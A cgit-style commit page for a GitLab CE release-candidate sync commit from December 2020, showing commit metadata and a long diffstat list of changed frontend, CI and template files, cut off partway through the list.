summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2020-12-17 11:59:07 +0000
committerGitLab Bot <gitlab-bot@gitlab.com>2020-12-17 11:59:07 +0000
commit8b573c94895dc0ac0e1d9d59cf3e8745e8b539ca (patch)
tree544930fb309b30317ae9797a9683768705d664c4
parent4b1de649d0168371549608993deac953eb692019 (diff)
downloadgitlab-ce-8b573c94895dc0ac0e1d9d59cf3e8745e8b539ca.tar.gz
Add latest changes from gitlab-org/gitlab@13-7-stable-eev13.7.0-rc42
-rw-r--r--.eslintrc.yml1
-rw-r--r--.gitattributes1
-rw-r--r--.gitignore1
-rw-r--r--.gitlab-ci.yml1
-rw-r--r--.gitlab/CODEOWNERS10
-rw-r--r--.gitlab/ci/dev-fixtures.gitlab-ci.yml4
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml9
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml112
-rw-r--r--.gitlab/ci/reports.gitlab-ci.yml4
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml6
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml204
-rw-r--r--.gitlab/ci/setup.gitlab-ci.yml11
-rw-r--r--.gitlab/ci/test-metadata.gitlab-ci.yml6
-rw-r--r--.gitlab/ci/workhorse.gitlab-ci.yml10
-rw-r--r--.gitlab/issue_templates/Doc Review.md2
-rw-r--r--.gitlab/issue_templates/Experiment Successful Cleanup.md18
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md7
-rw-r--r--.gitlab/issue_templates/Feature proposal.md7
-rw-r--r--.gitlab/issue_templates/Implementation.md2
-rw-r--r--.gitlab/issue_templates/Lean Feature Proposal.md6
-rw-r--r--.gitlab/issue_templates/Security Release Tracking Issue.md41
-rw-r--r--.gitlab/issue_templates/Snowplow event tracking.md6
-rw-r--r--.gitlab/issue_templates/actionable_insight.md3
-rw-r--r--.gitlab/merge_request_templates/Documentation.md6
-rw-r--r--.gitlab/merge_request_templates/New End To End Test.md26
-rw-r--r--.haml-lint_todo.yml2
-rw-r--r--.rubocop.yml17
-rw-r--r--.rubocop_manual_todo.yml983
-rw-r--r--.vale.ini3
-rw-r--r--CHANGELOG.md32
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_ELASTICSEARCH_INDEXER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--GITLAB_SHELL_VERSION2
-rw-r--r--GITLAB_WORKHORSE_VERSION2
-rw-r--r--Gemfile24
-rw-r--r--Gemfile.lock68
-rw-r--r--app/assets/images/checkmark.pngbin0 -> 596 bytes
-rw-r--r--app/assets/images/chevron-down.pngbin0 -> 599 bytes
-rw-r--r--app/assets/images/jobs-empty-state.svg33
-rw-r--r--app/assets/javascripts/admin/users/components/app.vue26
-rw-r--r--app/assets/javascripts/admin/users/components/users_table.vue63
-rw-r--r--app/assets/javascripts/admin/users/index.js22
-rw-r--r--app/assets/javascripts/alert_management/components/sidebar/sidebar_assignee.vue19
-rw-r--r--app/assets/javascripts/alert_management/components/sidebar/sidebar_assignees.vue146
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue4
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue684
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_form_new.vue661
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_form_old.vue494
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue82
-rw-r--r--app/assets/javascripts/alerts_settings/services/index.js21
-rw-r--r--app/assets/javascripts/analytics/instance_statistics/graphql/queries/count.fragment.graphql4
-rw-r--r--app/assets/javascripts/api.js19
-rw-r--r--app/assets/javascripts/authentication/mount_2fa.js10
-rw-r--r--app/assets/javascripts/authentication/two_factor_auth/components/recovery_codes.vue174
-rw-r--r--app/assets/javascripts/authentication/two_factor_auth/constants.js11
-rw-r--r--app/assets/javascripts/authentication/two_factor_auth/index.js46
-rw-r--r--app/assets/javascripts/autosave.js1
-rw-r--r--app/assets/javascripts/awards_handler.js1
-rw-r--r--app/assets/javascripts/badges/components/badge.vue2
-rw-r--r--app/assets/javascripts/behaviors/select2.js33
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts.js1
-rw-r--r--app/assets/javascripts/blob/components/blob_header_viewer_switcher.vue2
-rw-r--r--app/assets/javascripts/blob/file_template_mediator.js7
-rw-r--r--app/assets/javascripts/blob/file_template_selector.js15
-rw-r--r--app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue2
-rw-r--r--app/assets/javascripts/blob/template_selector.js11
-rw-r--r--app/assets/javascripts/blob/viewer/index.js6
-rw-r--r--app/assets/javascripts/blob_edit/blob_bundle.js22
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js13
-rw-r--r--app/assets/javascripts/boards/boards_util.js77
-rw-r--r--app/assets/javascripts/boards/components/board_assignee_dropdown.vue106
-rw-r--r--app/assets/javascripts/boards/components/board_column.vue17
-rw-r--r--app/assets/javascripts/boards/components/board_column_new.vue30
-rw-r--r--app/assets/javascripts/boards/components/board_configuration_options.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue66
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue228
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue14
-rw-r--r--app/assets/javascripts/boards/components/board_list_header_new.vue109
-rw-r--r--app/assets/javascripts/boards/components/board_list_new.vue145
-rw-r--r--app/assets/javascripts/boards/components/board_promotion_state.js1
-rw-r--r--app/assets/javascripts/boards/components/board_settings_sidebar.vue2
-rw-r--r--app/assets/javascripts/boards/components/boards_selector.vue83
-rw-r--r--app/assets/javascripts/boards/components/issue_card_inner.vue25
-rw-r--r--app/assets/javascripts/boards/components/new_list_dropdown.js1
-rw-r--r--app/assets/javascripts/boards/components/project_select.vue3
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_editable_item.vue15
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue2
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue3
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue161
-rw-r--r--app/assets/javascripts/boards/constants.js6
-rw-r--r--app/assets/javascripts/boards/ee_functions.js2
-rw-r--r--app/assets/javascripts/boards/filtered_search_boards.js25
-rw-r--r--app/assets/javascripts/boards/graphql/board.fragment.graphql (renamed from app/assets/javascripts/boards/queries/board.fragment.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board.mutation.graphql (renamed from app/assets/javascripts/boards/queries/board.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_labels.query.graphql (renamed from app/assets/javascripts/boards/queries/board_labels.query.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_list.fragment.graphql (renamed from app/assets/javascripts/boards/queries/board_list.fragment.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql24
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_destroy.mutation.graphql (renamed from app/assets/javascripts/boards/queries/board_list_destroy.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql (renamed from app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql (renamed from app/assets/javascripts/boards/queries/board_list_update.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/board_lists.query.graphql28
-rw-r--r--app/assets/javascripts/boards/graphql/group_boards.query.graphql13
-rw-r--r--app/assets/javascripts/boards/graphql/group_milestones.query.graphql17
-rw-r--r--app/assets/javascripts/boards/graphql/issue.fragment.graphql31
-rw-r--r--app/assets/javascripts/boards/graphql/issue_create.mutation.graphql10
-rw-r--r--app/assets/javascripts/boards/graphql/issue_move_list.mutation.graphql28
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql (renamed from app/assets/javascripts/boards/queries/issue_set_due_date.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql (renamed from app/assets/javascripts/boards/queries/issue_set_labels.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql12
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql (renamed from app/assets/javascripts/boards/graphql/mutations/issue_set_subscription.mutation.graphql)0
-rw-r--r--app/assets/javascripts/boards/graphql/lists_issues.query.graphql55
-rw-r--r--app/assets/javascripts/boards/graphql/project_boards.query.graphql13
-rw-r--r--app/assets/javascripts/boards/graphql/users_search.query.graphql (renamed from app/assets/javascripts/boards/queries/users_search.query.graphql)0
-rw-r--r--app/assets/javascripts/boards/index.js49
-rw-r--r--app/assets/javascripts/boards/mount_multiple_boards_switcher.js5
-rw-r--r--app/assets/javascripts/boards/queries/board_list_create.mutation.graphql24
-rw-r--r--app/assets/javascripts/boards/queries/board_lists.query.graphql28
-rw-r--r--app/assets/javascripts/boards/queries/group_boards.query.graphql13
-rw-r--r--app/assets/javascripts/boards/queries/issue.fragment.graphql27
-rw-r--r--app/assets/javascripts/boards/queries/issue_create.mutation.graphql10
-rw-r--r--app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql28
-rw-r--r--app/assets/javascripts/boards/queries/lists_issues.query.graphql55
-rw-r--r--app/assets/javascripts/boards/queries/project_boards.query.graphql13
-rw-r--r--app/assets/javascripts/boards/stores/actions.js126
-rw-r--r--app/assets/javascripts/boards/stores/boards_store.js82
-rw-r--r--app/assets/javascripts/boards/stores/getters.js9
-rw-r--r--app/assets/javascripts/boards/stores/mutation_types.js1
-rw-r--r--app/assets/javascripts/boards/stores/mutations.js12
-rw-r--r--app/assets/javascripts/boards/stores/state.js3
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint.vue7
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint_results.vue143
-rw-r--r--app/assets/javascripts/ci_lint/graphql/resolvers.js34
-rw-r--r--app/assets/javascripts/ci_lint/index.js3
-rw-r--r--app/assets/javascripts/clone_panel.js42
-rw-r--r--app/assets/javascripts/close_reopen_report_toggle.js92
-rw-r--r--app/assets/javascripts/clusters/clusters_bundle.js15
-rw-r--r--app/assets/javascripts/clusters/components/applications.vue51
-rw-r--r--app/assets/javascripts/clusters/components/knative_domain_editor.vue9
-rw-r--r--app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue2
-rw-r--r--app/assets/javascripts/clusters/services/application_state_machine.js6
-rw-r--r--app/assets/javascripts/clusters/stores/clusters_store.js27
-rw-r--r--app/assets/javascripts/commit/image_file.js16
-rw-r--r--app/assets/javascripts/commits.js6
-rw-r--r--app/assets/javascripts/commons/bootstrap.js9
-rw-r--r--app/assets/javascripts/confirm_danger_modal.js2
-rw-r--r--app/assets/javascripts/create_cluster/components/cluster_form_dropdown.vue1
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue24
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/store/actions.js8
-rw-r--r--app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue4
-rw-r--r--app/assets/javascripts/create_label.js6
-rw-r--r--app/assets/javascripts/cycle_analytics/components/limit_warning_component.vue1
-rw-r--r--app/assets/javascripts/cycle_analytics/cycle_analytics_bundle.js1
-rw-r--r--app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js1
-rw-r--r--app/assets/javascripts/design_management/pages/design/index.vue13
-rw-r--r--app/assets/javascripts/design_management/utils/tracking.js29
-rw-r--r--app/assets/javascripts/diffs/components/app.vue56
-rw-r--r--app/assets/javascripts/diffs/components/commit_item.vue7
-rw-r--r--app/assets/javascripts/diffs/components/compare_dropdown_layout.vue85
-rw-r--r--app/assets/javascripts/diffs/components/compare_versions.vue8
-rw-r--r--app/assets/javascripts/diffs/components/diff_content.vue26
-rw-r--r--app/assets/javascripts/diffs/components/diff_expansion_cell.vue24
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue2
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue3
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_row.vue4
-rw-r--r--app/assets/javascripts/diffs/components/diff_line_note_form.vue12
-rw-r--r--app/assets/javascripts/diffs/components/diff_row.vue28
-rw-r--r--app/assets/javascripts/diffs/components/image_diff_overlay.vue45
-rw-r--r--app/assets/javascripts/diffs/components/merge_conflict_warning.vue8
-rw-r--r--app/assets/javascripts/diffs/components/settings_dropdown.vue41
-rw-r--r--app/assets/javascripts/diffs/constants.js6
-rw-r--r--app/assets/javascripts/diffs/diff_file.js61
-rw-r--r--app/assets/javascripts/diffs/i18n.js4
-rw-r--r--app/assets/javascripts/diffs/index.js2
-rw-r--r--app/assets/javascripts/diffs/store/actions.js159
-rw-r--r--app/assets/javascripts/diffs/store/getters.js48
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js3
-rw-r--r--app/assets/javascripts/diffs/store/mutation_types.js6
-rw-r--r--app/assets/javascripts/diffs/store/mutations.js105
-rw-r--r--app/assets/javascripts/diffs/store/utils.js196
-rw-r--r--app/assets/javascripts/diffs/utils/diff_file.js75
-rw-r--r--app/assets/javascripts/diffs/utils/preferences.js22
-rw-r--r--app/assets/javascripts/due_date_select.js21
-rw-r--r--app/assets/javascripts/editor/constants.js4
-rw-r--r--app/assets/javascripts/editor/editor_file_template_ext.js7
-rw-r--r--app/assets/javascripts/editor/editor_lite.js34
-rw-r--r--app/assets/javascripts/editor/editor_lite_extension_base.js11
-rw-r--r--app/assets/javascripts/editor/editor_markdown_ext.js14
-rw-r--r--app/assets/javascripts/environments/components/environment_actions.vue67
-rw-r--r--app/assets/javascripts/environments/components/environment_item.vue121
-rw-r--r--app/assets/javascripts/environments/components/environments_app.vue31
-rw-r--r--app/assets/javascripts/environments/components/environments_table.vue31
-rw-r--r--app/assets/javascripts/error_tracking/components/stacktrace_entry.vue2
-rw-r--r--app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue17
-rw-r--r--app/assets/javascripts/feature_flags/components/edit_feature_flag.vue19
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags.vue18
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags_tab.vue10
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags_table.vue5
-rw-r--r--app/assets/javascripts/feature_flags/components/form.vue3
-rw-r--r--app/assets/javascripts/feature_flags/components/new_feature_flag.vue28
-rw-r--r--app/assets/javascripts/feature_flags/components/strategy.vue4
-rw-r--r--app/assets/javascripts/feature_flags/constants.js4
-rw-r--r--app/assets/javascripts/filterable_list.js6
-rw-r--r--app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js14
-rw-r--r--app/assets/javascripts/filtered_search/available_dropdown_mappings.js5
-rw-r--r--app/assets/javascripts/filtered_search/constants.js2
-rw-r--r--app/assets/javascripts/filtered_search/issuable_filtered_search_token_keys.js10
-rw-r--r--app/assets/javascripts/filtered_search/recent_searches_storage_keys.js2
-rw-r--r--app/assets/javascripts/frequent_items/components/app.vue2
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue12
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue11
-rw-r--r--app/assets/javascripts/frequent_items/index.js5
-rw-r--r--app/assets/javascripts/frequent_items/store/index.js7
-rw-r--r--app/assets/javascripts/frequent_items/store/state.js3
-rw-r--r--app/assets/javascripts/gfm_auto_complete.js1
-rw-r--r--app/assets/javascripts/gl_field_error.js2
-rw-r--r--app/assets/javascripts/gl_form.js4
-rw-r--r--app/assets/javascripts/graphql_shared/queries/users_search.query.graphql9
-rw-r--r--app/assets/javascripts/graphql_shared/utils.js38
-rw-r--r--app/assets/javascripts/groups/components/group_folder.vue2
-rw-r--r--app/assets/javascripts/groups/components/group_item.vue30
-rw-r--r--app/assets/javascripts/groups/components/visibility_level_dropdown.vue48
-rw-r--r--app/assets/javascripts/groups/index.js3
-rw-r--r--app/assets/javascripts/groups/members/components/app.vue10
-rw-r--r--app/assets/javascripts/groups/members/index.js21
-rw-r--r--app/assets/javascripts/groups/members/utils.js5
-rw-r--r--app/assets/javascripts/groups/store/groups_store.js5
-rw-r--r--app/assets/javascripts/groups/store/utils.js27
-rw-r--r--app/assets/javascripts/groups/visibility_level.js24
-rw-r--r--app/assets/javascripts/groups_select.js178
-rw-r--r--app/assets/javascripts/header.js2
-rw-r--r--app/assets/javascripts/helpers/issuables_helper.js27
-rw-r--r--app/assets/javascripts/how_to_merge.js15
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/form.vue21
-rw-r--r--app/assets/javascripts/ide/components/commit_sidebar/message_field.vue4
-rw-r--r--app/assets/javascripts/ide/components/editor_mode_dropdown.vue71
-rw-r--r--app/assets/javascripts/ide/components/file_templates/dropdown.vue2
-rw-r--r--app/assets/javascripts/ide/components/ide.vue40
-rw-r--r--app/assets/javascripts/ide/components/ide_side_bar.vue6
-rw-r--r--app/assets/javascripts/ide/components/ide_tree_list.vue16
-rw-r--r--app/assets/javascripts/ide/components/jobs/detail.vue2
-rw-r--r--app/assets/javascripts/ide/components/nav_dropdown.vue3
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/modal.vue1
-rw-r--r--app/assets/javascripts/ide/components/pipelines/list.vue11
-rw-r--r--app/assets/javascripts/ide/components/preview/clientside.vue2
-rw-r--r--app/assets/javascripts/ide/components/repo_editor.vue20
-rw-r--r--app/assets/javascripts/ide/components/terminal/session.vue18
-rw-r--r--app/assets/javascripts/ide/components/terminal/view.vue3
-rw-r--r--app/assets/javascripts/ide/ide_router.js16
-rw-r--r--app/assets/javascripts/ide/index.js5
-rw-r--r--app/assets/javascripts/ide/lib/common/model.js3
-rw-r--r--app/assets/javascripts/ide/stores/actions.js21
-rw-r--r--app/assets/javascripts/ide/stores/actions/file.js23
-rw-r--r--app/assets/javascripts/ide/stores/actions/tree.js21
-rw-r--r--app/assets/javascripts/ide/utils.js4
-rw-r--r--app/assets/javascripts/import_entities/components/import_status.vue (renamed from app/assets/javascripts/import_projects/components/import_status.vue)0
-rw-r--r--app/assets/javascripts/import_entities/constants.js (renamed from app/assets/javascripts/import_projects/constants.js)0
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table.vue78
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue106
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js95
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_item.fragment.graphql8
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql3
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql3
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql3
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/queries/available_namespaces.query.graphql6
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql7
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/services/source_groups_manager.js45
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/services/status_poller.js68
-rw-r--r--app/assets/javascripts/import_entities/import_groups/index.js31
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/bitbucket_status_table.vue (renamed from app/assets/javascripts/import_projects/components/bitbucket_status_table.vue)0
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue187
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue151
-rw-r--r--app/assets/javascripts/import_entities/import_projects/index.js60
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/actions.js (renamed from app/assets/javascripts/import_projects/store/actions.js)0
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/getters.js30
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/index.js (renamed from app/assets/javascripts/import_projects/store/index.js)0
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/mutation_types.js (renamed from app/assets/javascripts/import_projects/store/mutation_types.js)0
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/mutations.js149
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/state.js (renamed from app/assets/javascripts/import_projects/store/state.js)0
-rw-r--r--app/assets/javascripts/import_entities/import_projects/utils.js13
-rw-r--r--app/assets/javascripts/import_projects/components/import_projects_table.vue191
-rw-r--r--app/assets/javascripts/import_projects/components/provider_repo_table_row.vue151
-rw-r--r--app/assets/javascripts/import_projects/index.js67
-rw-r--r--app/assets/javascripts/import_projects/store/getters.js30
-rw-r--r--app/assets/javascripts/import_projects/store/mutations.js149
-rw-r--r--app/assets/javascripts/import_projects/utils.js13
-rw-r--r--app/assets/javascripts/importer_status.js149
-rw-r--r--app/assets/javascripts/incidents_settings/components/alerts_form.vue4
-rw-r--r--app/assets/javascripts/incidents_settings/components/pagerduty_form.vue31
-rw-r--r--app/assets/javascripts/incidents_settings/constants.js16
-rw-r--r--app/assets/javascripts/integrations/edit/components/integration_form.vue30
-rw-r--r--app/assets/javascripts/integrations/edit/store/actions.js21
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutation_types.js3
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutations.js6
-rw-r--r--app/assets/javascripts/integrations/integration_settings_form.js6
-rw-r--r--app/assets/javascripts/issuable/auto_width_dropdown_select.js14
-rw-r--r--app/assets/javascripts/issuable_bulk_update_actions.js1
-rw-r--r--app/assets/javascripts/issuable_context.js14
-rw-r--r--app/assets/javascripts/issuable_create/components/issuable_create_root.vue2
-rw-r--r--app/assets/javascripts/issuable_form.js64
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_item.vue180
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_body.vue20
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_edit_form.vue45
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_header.vue2
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_show_root.vue22
-rw-r--r--app/assets/javascripts/issue.js137
-rw-r--r--app/assets/javascripts/issue_show/components/fields/description_template.vue10
-rw-r--r--app/assets/javascripts/issue_show/components/header_actions.vue55
-rw-r--r--app/assets/javascripts/issue_show/utils/parse_data.js8
-rw-r--r--app/assets/javascripts/issues_list/components/issuable.vue13
-rw-r--r--app/assets/javascripts/issues_list/components/issuables_list_app.vue1
-rw-r--r--app/assets/javascripts/jira_connect.js63
-rw-r--r--app/assets/javascripts/jira_connect/components/app.vue13
-rw-r--r--app/assets/javascripts/jira_connect/index.js74
-rw-r--r--app/assets/javascripts/jobs/components/job_app.vue15
-rw-r--r--app/assets/javascripts/jobs/components/log/line.vue65
-rw-r--r--app/assets/javascripts/jobs/components/unmet_prerequisites_block.vue27
-rw-r--r--app/assets/javascripts/jobs/mixins/delayed_job_mixin.js7
-rw-r--r--app/assets/javascripts/jobs/store/actions.js35
-rw-r--r--app/assets/javascripts/jobs/store/mutations.js1
-rw-r--r--app/assets/javascripts/jobs/utils.js14
-rw-r--r--app/assets/javascripts/labels_select.js21
-rw-r--r--app/assets/javascripts/layout_nav.js29
-rw-r--r--app/assets/javascripts/lib/utils/common_utils.js53
-rw-r--r--app/assets/javascripts/lib/utils/dom_utils.js8
-rw-r--r--app/assets/javascripts/lib/utils/keycodes.js1
-rw-r--r--app/assets/javascripts/lib/utils/scroll_utils.js2
-rw-r--r--app/assets/javascripts/lib/utils/text_markdown.js3
-rw-r--r--app/assets/javascripts/lib/utils/text_utility.js10
-rw-r--r--app/assets/javascripts/logs/utils.js2
-rw-r--r--app/assets/javascripts/main.js9
-rw-r--r--app/assets/javascripts/maintenance_mode_settings/components/app.vue44
-rw-r--r--app/assets/javascripts/maintenance_mode_settings/index.js20
-rw-r--r--app/assets/javascripts/members.js2
-rw-r--r--app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/access_request_action_buttons.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/action_button_group.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/action_button_group.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/approve_access_request_button.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/group_action_buttons.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/group_action_buttons.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/invite_action_buttons.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/leave_button.vue40
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/remove_group_link_button.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_member_button.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/remove_member_button.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue (renamed from app/assets/javascripts/vue_shared/components/members/action_buttons/resend_invite_button.vue)0
-rw-r--r--app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue70
-rw-r--r--app/assets/javascripts/members/components/avatars/group_avatar.vue34
-rw-r--r--app/assets/javascripts/members/components/avatars/invite_avatar.vue32
-rw-r--r--app/assets/javascripts/members/components/avatars/user_avatar.vue91
-rw-r--r--app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue26
-rw-r--r--app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue132
-rw-r--r--app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue77
-rw-r--r--app/assets/javascripts/members/components/modals/leave_modal.vue70
-rw-r--r--app/assets/javascripts/members/components/modals/remove_group_link_modal.vue69
-rw-r--r--app/assets/javascripts/members/components/table/created_at.vue (renamed from app/assets/javascripts/vue_shared/components/members/table/created_at.vue)0
-rw-r--r--app/assets/javascripts/members/components/table/expiration_datepicker.vue (renamed from app/assets/javascripts/vue_shared/components/members/table/expiration_datepicker.vue)0
-rw-r--r--app/assets/javascripts/members/components/table/expires_at.vue66
-rw-r--r--app/assets/javascripts/members/components/table/member_action_buttons.vue57
-rw-r--r--app/assets/javascripts/members/components/table/member_avatar.vue (renamed from app/assets/javascripts/vue_shared/components/members/table/member_avatar.vue)0
-rw-r--r--app/assets/javascripts/members/components/table/member_source.vue (renamed from app/assets/javascripts/vue_shared/components/members/table/member_source.vue)0
-rw-r--r--app/assets/javascripts/members/components/table/members_table.vue151
-rw-r--r--app/assets/javascripts/members/components/table/members_table_cell.vue72
-rw-r--r--app/assets/javascripts/members/components/table/role_dropdown.vue94
-rw-r--r--app/assets/javascripts/members/constants.js100
-rw-r--r--app/assets/javascripts/members/store/actions.js (renamed from app/assets/javascripts/vuex_shared/modules/members/actions.js)0
-rw-r--r--app/assets/javascripts/members/store/index.js9
-rw-r--r--app/assets/javascripts/members/store/mutation_types.js (renamed from app/assets/javascripts/vuex_shared/modules/members/mutation_types.js)0
-rw-r--r--app/assets/javascripts/members/store/mutations.js (renamed from app/assets/javascripts/vuex_shared/modules/members/mutations.js)0
-rw-r--r--app/assets/javascripts/members/store/state.js27
-rw-r--r--app/assets/javascripts/members/store/utils.js (renamed from app/assets/javascripts/vuex_shared/modules/members/utils.js)0
-rw-r--r--app/assets/javascripts/members/utils.js97
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflict_store.js1
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js2
-rw-r--r--app/assets/javascripts/merge_request.js12
-rw-r--r--app/assets/javascripts/merge_request_tabs.js3
-rw-r--r--app/assets/javascripts/milestone_select.js21
-rw-r--r--app/assets/javascripts/mirrors/mirror_repos.js1
-rw-r--r--app/assets/javascripts/mirrors/ssh_mirror.js5
-rw-r--r--app/assets/javascripts/monitoring/components/alert_widget_form.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/charts/time_series.vue1
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_panel.vue4
-rw-r--r--app/assets/javascripts/monitoring/stores/variable_mapping.js2
-rw-r--r--app/assets/javascripts/monitoring/utils.js2
-rw-r--r--app/assets/javascripts/notebook/cells/output/html.vue11
-rw-r--r--app/assets/javascripts/notebook/cells/output/index.vue4
-rw-r--r--app/assets/javascripts/notebook/lib/highlight.js19
-rw-r--r--app/assets/javascripts/notes.js1
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue137
-rw-r--r--app/assets/javascripts/notes/components/diff_with_note.vue22
-rw-r--r--app/assets/javascripts/notes/components/multiline_comment_utils.js10
-rw-r--r--app/assets/javascripts/notes/components/note_form.vue2
-rw-r--r--app/assets/javascripts/notes/components/note_header.vue7
-rw-r--r--app/assets/javascripts/notes/components/noteable_note.vue9
-rw-r--r--app/assets/javascripts/notes/constants.js15
-rw-r--r--app/assets/javascripts/notes/mixins/discussion_navigation.js9
-rw-r--r--app/assets/javascripts/notes/stores/actions.js37
-rw-r--r--app/assets/javascripts/notes/stores/collapse_utils.js3
-rw-r--r--app/assets/javascripts/notes/stores/modules/index.js2
-rw-r--r--app/assets/javascripts/notes/stores/mutation_types.js2
